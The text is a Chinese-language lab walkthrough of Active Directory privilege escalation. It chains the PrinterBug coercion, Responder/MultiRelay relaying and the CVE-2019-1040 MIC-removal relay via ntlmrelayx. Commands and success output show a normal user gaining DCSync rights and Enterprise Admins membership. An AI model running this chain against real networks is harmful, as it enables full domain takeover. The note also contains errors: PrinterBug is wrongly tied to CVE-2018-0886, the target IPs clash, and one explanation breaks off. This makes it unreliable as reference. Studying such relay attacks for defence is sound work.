python3 printerbug.py test.com/test@192.168.186.131 192.168.186.134
sudo python2 MultiRelay.py -t 192.168.186.132 -u ALL
Printer Bug 原理
PrinterBug(CVE-2018-0886)是Windows打印系统服务(Spooler)的一个设计缺陷,允许攻击者强制目标主机(如域控)向指定IP发起NTLM认证请求。其核心原理:
NTLMv2 Relay 攻击原理
NTLM(NT LAN Manager)是Windows的一种认证协议,NTLMv2是其改进版本,但仍存在中继攻击风险。
核心流程:
- 受害者(Client)向攻击者控制的服务器发起认证请求(如SMB、HTTP、LDAP等)。
- 攻击者截获NTLMv2 Hash(Challenge-Response),并将其**中继(Relay)**到另一台目标服务器。
- 目标服务器验证Hash,若验证通过,攻击者获得该服务器的访问权限。
关键条件:
- 目标服务未启用SMB签名(默认情况下,Windows域控的SMB签名是强制开启的,但普通服务器可能关闭)。
- 攻击者能诱骗受害者向自己发起认证(如通过钓鱼、LLMNR/NBT-NS投毒等)。
利用工具
Responder + MultiRelay
- Responder:监听网络请求,伪造服务(如SMB、HTTP),诱骗受害者发送NTLMv2 Hash。
- MultiRelay.py:将捕获的Hash中继到目标服务器。
- 利用PrinterBug.py触发NTLM认证
CVE-2019-1040漏洞
- 漏洞编号:CVE-2019-1040
- 影响范围:Windows系统(未安装2019年6月补丁的版本)
- 核心利用点:
- 移除NTLM消息中的MIC字段,绕过完整性校验。
- 绕过NTLM签名要求,即使目标服务强制签名仍可中继认证。
python3 ntlmrelayx.py --remove-mic --escalate-user test -t ldap://192.168.186.132 -smb2support
攻击流程
- 通过
ntlmrelayx.py
监听SMB服务,捕获来自TEST/DESKTOP-RRB6A09$
的NTLM认证请求。 - 将认证中继到目标LDAP服务器(
ldap://192.168.186.131
),成功以DESKTOP-RRB6A09$
机器账户身份通过验证。 - 利用LDAP协议修改域权限,为普通用户
test
授予 DCSync权限(Replication-Get-Changes-All
),并添加到 Enterprise Admins 组。
成功标志
[*] Success! User test now has Replication-Get-Changes-All privileges on the domain
[*] Adding user: testtesttest to group Enterprise Admins result: OK